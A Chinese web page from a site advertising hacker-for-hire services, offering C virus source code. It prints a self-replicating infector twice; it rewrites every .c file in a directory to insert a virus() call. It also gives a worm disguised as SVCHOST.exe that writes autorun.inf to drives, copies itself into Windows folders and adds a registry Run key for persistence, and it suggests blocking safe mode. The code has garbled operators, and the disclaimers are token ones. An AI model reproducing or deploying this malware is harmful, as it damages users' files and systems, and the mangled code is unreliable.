24小时接单的黑客

黑客接单,黑客教程,黑客技术,黑客找黑客,技术黑客

c语言木马病毒编程(木马病毒是什么语言编程写的)

本文目录一览:

c语言木马源代码

#include stdio.h

#include dir.h

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#includestdio.h\n",out);

fputs("#includedir.h\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;ji-1;j++)

if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(ji-1);

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(ffblk);

}

return 0;

}

严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。

c语言木马代码,简单点的,我保证不做违法的

#include stdio.h

#include dir.h

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#includestdio.h\n",out);

fputs("#includedir.h\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;ji-1;j++)

if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(ji-1);

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(ffblk);

}

return 0;

}

再就是网上一百度一大堆的。

如何用C语言写病毒?

在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.

本病毒的功能:

1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件

2.在C、D、E盘中生成自动运行文件

3.注册c:\windows\system\svchost.exe,使其开机自动运行

4.在C:\windows\system下生成隐蔽DLL文件

5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过

请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究

/* SVCHOST.C */

/* SVCHOST.EXE */#define SVCHOST_NUM 6

#includestdio.h

#includestring.h

char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};

char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};

char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\M *** OUSE.DLL",

"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",

"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};

char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int copy(char *infile,char *outfile)

{

FILE *input,*output;

char temp;

if(strcmp(infile,outfile)!=0 ((input=fopen(infile,"rb"))!=NULL) ((output=fopen(outfile,"wb"))!=NULL))

{

while(!feof(input))

{

fread(temp,1,1,input);

fwrite(temp,1,1,output);

}

fclose(input);

fclose(output);

return 0;

}

else return 1;

}

int main(void)

{

FILE *input,*output;

int i,k;

for(i=0;i3;i++)

{

output=fopen(files_autorun[i],"w");

fprintf(output,"%s",autorun);

fclose(output);

}

for(i=0;i=SVCHOST_NUM;i++)

{

if((input=fopen(files_svchost[i],"rb"))!=NULL)

{

fclose(input);

for(k=0;kSVCHOST_NUM;k++)

{

copy(files_svchost[i],files_svchost[k]);

}

i=SVCHOST_NUM+1;

}

}

system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */

return 0;

} 如果你想来狠点;把安全模式的注册表项也删除了.让它进不了安全模式;

警告:不会修改注册表的人;别运行本程序...

  • 评论列表:
  •  只影棕眸
     发布于 2022-07-27 16:54:53  回复该评论
  • while(p!=NULL) { if(strstr(buffer,virus)==NULL) fputs(buffer,out); else { fputs(" char *virus=\"",out); fputs(ffblk.ff_name,out); fputs

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.